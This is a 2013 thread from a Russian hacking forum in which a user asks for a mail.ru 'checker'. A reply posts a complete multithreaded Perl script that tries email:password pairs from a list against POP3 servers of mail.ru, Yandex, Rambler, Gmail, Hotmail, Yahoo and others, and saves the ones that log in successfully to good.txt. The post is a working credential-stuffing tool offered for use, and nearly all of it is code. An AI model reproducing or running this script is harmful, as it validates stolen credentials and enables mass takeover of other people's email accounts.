ищу mail.ru чекер

Discussion in 'Уязвимости Mail-сервисов' started by erwap, 4 Jan 2013.

  1. erwap

    erwap Member

    Joined:
    20 Sep 2012
    Messages:
    56
    Likes Received:
    16
    Reputations:
    0
    del please
     
    #1 erwap, 4 Jan 2013
    Last edited: 4 Jan 2013
  2. Vip77

    Vip77 Elder - Старейшина

    Joined:
    29 Sep 2012
    Messages:
    281
    Likes Received:
    55
    Reputations:
    20
    Выкладываю много поточный чекер на перле гудов не пропускает, я его когда-то давно скачал и доделал под себя.
    Code:
    use warnings;
    use strict;
    
    use threads;
    use threads::shared;
    
    use IO::Socket;
    use IO::Socket::SSL;
    
    use Fcntl ':flock';
    
    my $accounts_file = 'aki_suda.txt'; # Аккаунты
    my $accounts_delimiter = ':'; # Делимитер
    my $good_file = 'good.txt';
    my $bad_file = 'bad.txt';
    my $error_file = 'error.txt';
    my $log_bad = 1;
    my $log_error = 1;
    my $timeout = 100;
    my $threads_count = 10; # Потоки
    
    
    ### ---------
    
    my %servers = (
    'rambler.ru' => {
    'host' => 'pop.rambler.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'lenta.ru' => {
    'host' => 'pop.rambler.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'myrambler.ru' => {
    'host' => 'pop.rambler.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'autorambler.ru' => {
    'host' => 'pop.rambler.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'ro.ru' => {
    'host' => 'pop.rambler.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'r0.ru' => {
    'host' => 'pop.rambler.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'yandex.ru' => {
    'host' => 'pop.yandex.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'yandex.ua' => {
    'host' => 'pop.yandex.ua', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'narod.ru' => {
    'host' => 'pop.narod.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'ya.ru' => {
    'host' => 'pop.yandex.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'ya.ua' => {
    'host' => 'pop.yandex.ua', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'mail.ru' => {
    'host' => 'pop.mail.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'bk.ru' => {
    'host' => 'pop.bk.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'inbox.ru' => {
    'host' => 'pop.inbox.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'list.ru' => {
    'host' => 'pop.list.ru', 
    'port' => 995,
    'ssl' => 1,
    'login_email' => 1
    },
    'gmail.com' => {
    'port' => 995, 
    'ssl' => 1,
    'login_email' => 1
    },
    'hotmail.com' => {
    'host' => 'pop3.live.com', 
    'port' => 995, 
    'ssl' => 1,
    'login_email' => 1
    },
    'hotmail.co.uk' => {
    'host' => 'pop3.live.com', 
    'port' => 995, 
    'ssl' => 1,
    'login_email' => 1
    },
    'yahoo.com' => {
    'host' => 'plus.pop.mail.yahoo.com',
    'port' => 995, 
    'ssl' => 1
    },
    'yahoo.co.uk' => {
    'host' => 'plus.pop.mail.yahoo.com',
    'port' => 995, 
    'ssl' => 1
    },
    'urk.net' => {
    'host' => 'pop3.ukr.net',
    'port' => 110, 
    }
    );
    
    my %statictis : shared = ('good' => 0, 'bad' => 0, 'error' => 0, 'cheak' => 0);
    my @threads = ();
    
    $| = 1;
    
    my @accounts : shared;
    (open FH, '<', $accounts_file) || die "[Error] Can't open $accounts_file: $!";
    push @accounts, $_ while <FH>;
    close FH;
    
    open FH, '>', $good_file;
    close FH;
    
    if ($log_bad) {
    open FH, '>', $bad_file;
    close FH;
    }
    if ($log_error) {
    open FH, '>', $error_file;
    close FH;
    }
    
    sub thread_print {
    my ($str) = "@_ [thread ".threads->tid()."]";
    $str .= " " x (78 - length $str) if length $str < 79;
    print $str."\n";
    $str = '';
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
    print $str.'[threads: '.(scalar threads->list() + 1)."]\r";
    }
    
    sub check_account {
    while (1) {
    last if !@accounts;
    my $account = lc shift @accounts;
    chomp $account;
    if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) {
    my ($login, $host, $password) = ($1, $2, $3);
    my $r_login = $login;
    my $sock;	
    if ($servers{$host}) {
    $r_login = "$login\@$host" if ${$servers{$host}}{'login_email'};
    if (${$servers{$host}}{'ssl'}) {
    eval { $sock = IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
    } else {
    eval { $sock = IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
    }
    } else {
    eval{ $sock = IO::Socket::INET->new(PeerAddr => "pop.$host", Proto => 'tcp', PeerPort => 110, Timeout => $timeout);	};
    }
    if ($sock) {
    $sock->autoflush(1);
    my $answ;
    $answ = <$sock>;
    my $bad = 1; 
    if ($answ && substr($answ, 0, 1) eq '+') { 
    print $sock "USER $r_login\n"; 
    $answ = <$sock>;
    if ($answ && substr($answ, 0, 1) eq '+') { 
    print $sock "PASS $password\n";
    $answ = <$sock>;
    if ($answ && substr($answ, 0, 1) eq '+') {
    print $sock "QUIT\n"; 
    close $sock;
    $bad = 0;
    thread_print "[+] $login\@$host$accounts_delimiter$password"; 
    { lock %statictis; $statictis{'good'}++; $statictis{'cheak'}++; } 
    open FH, '>>', $good_file;
    flock FH, LOCK_EX;
    print FH "$login\@$host$accounts_delimiter$password\n";
    flock FH, LOCK_UN;
    close FH;
    } elsif ($answ && $answ =~ /SYS\/PERM/) {
    $bad = 0;
    { lock %statictis; $statictis{'error'}++; $statictis{'cheak'}++; } 
    thread_print "[~] $login\@$host$accounts_delimiter$password"; 
    }
    }
    }
    if ($bad) {
    thread_print "[-] $login\@$host$accounts_delimiter$password"; 
    { lock %statictis; $statictis{'bad'}++; $statictis{'cheak'}++; } 
    if ($log_bad) {
    open FH, '>>', $bad_file;
    flock FH, LOCK_EX;
    print FH "$login\@$host$accounts_delimiter$password\n";
    flock FH, LOCK_UN;
    close FH;
    }
    }
    } 
    else {
    { lock %statictis; $statictis{'error'}++; $statictis{'cheak'}++; } 
    thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!";
    
    if ($log_error) {
    open FH, '>>', $error_file;
    flock FH, LOCK_EX;
    print FH "$login\@$host$accounts_delimiter$password #$?: $!\n";
    flock FH, LOCK_UN;
    close FH;
    }
    }
    }
    }
    threads->exit->detach;
    }
    
    $threads_count = $#accounts if $#accounts < $threads_count;
    $threads[$_] = threads->create(\&check_account) for 0..$threads_count - 1;
    $_->join for @threads;
    my $str;
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
    print "$str\n";